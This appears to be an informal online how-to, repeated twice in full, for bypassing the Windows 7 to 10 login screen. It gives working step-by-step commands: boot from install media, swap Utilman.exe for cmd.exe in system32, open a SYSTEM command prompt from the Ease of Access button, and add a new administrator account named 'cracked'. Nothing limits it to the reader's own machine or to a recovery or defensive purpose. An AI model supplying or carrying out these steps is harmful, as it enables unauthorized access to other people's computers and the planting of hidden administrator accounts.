I am almost certain that this has been covered elsewhere. If you
have seen this before, then I am sorry I wasted a precious few minutes
of your life.
1, Boot up using a Windows 7/8/8.1/10 Installation CD or Bootable Pendrive.
2, At the first splash screen click “INSTALL NOW” then accept the license agreement click "NEXT".
3, Press "SHIT+F10" Simultaneously. Command prompt will open up.
4, Now u need to find out at what partition your OS is installed. you can check this by typing DISKPART>LIST DISK >SELECT DISK 1 > LIST VOL and in the volumes check for the BOOT partition and note down the volume label e.g "C" (it can be different for you).
5, Type in the following commands:
cd C:
cd Windows/system32
copy UtilMan.exe abc.exe
copy cmd.exe Utilman.exe
So what did we just do here?
The first two commands changed our current working directory to "/Windows/system32".
This location contains both "cmd.exe" (command prompt) and "Utilman.exe" (Ease of Access).
Once we changed directories we then made a backup of the "UtilMan.exe" file and named it abc.exe as we don’t want to permanently destroy the file.
We then copied the "cmd.exe" program to "Utilman.exe" (essentially renaming the file).
6. Reboot your system and remove installation media.
7. At the login screen click the "Ease of Access" button in the bottom left hand corner. This should launch a command prompt.
8. Run the following commands:
net user cracked Changeme! /add
net localgroup administrators cracked /add
The first command creates a new user named "cracked" and sets a password of "Changeme!".
The second command adds the new user to the administrators group.
9. Close command prompt.
10. Log in using your new credentials.
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1, Boot up using a Windows 7/8/8.1/10 Installation CD or Bootable Pendrive.
2, At the first splash screen click “INSTALL NOW” then accept the license agreement click "NEXT".
3, Press "SHIT+F10" Simultaneously. Command prompt will open up.
4, Now u need to find out at what partition your OS is installed. you can check this by typing DISKPART>LIST DISK >SELECT DISK 1 > LIST VOL and in the volumes check for the BOOT partition and note down the volume label e.g "C" (it can be different for you).
5, Type in the following commands:
cd C:
cd Windows/system32
copy UtilMan.exe abc.exe
copy cmd.exe Utilman.exe
So what did we just do here?
The first two commands changed our current working directory to "/Windows/system32".
This location contains both "cmd.exe" (command prompt) and "Utilman.exe" (Ease of Access).
Once we changed directories we then made a backup of the "UtilMan.exe" file and named it abc.exe as we don’t want to permanently destroy the file.
We then copied the "cmd.exe" program to "Utilman.exe" (essentially renaming the file).
6. Reboot your system and remove installation media.
7. At the login screen click the "Ease of Access" button in the bottom left hand corner. This should launch a command prompt.
8. Run the following commands:
net user cracked Changeme! /add
net localgroup administrators cracked /add
The first command creates a new user named "cracked" and sets a password of "Changeme!".
The second command adds the new user to the administrators group.
9. Close command prompt.
10. Log in using your new credentials.
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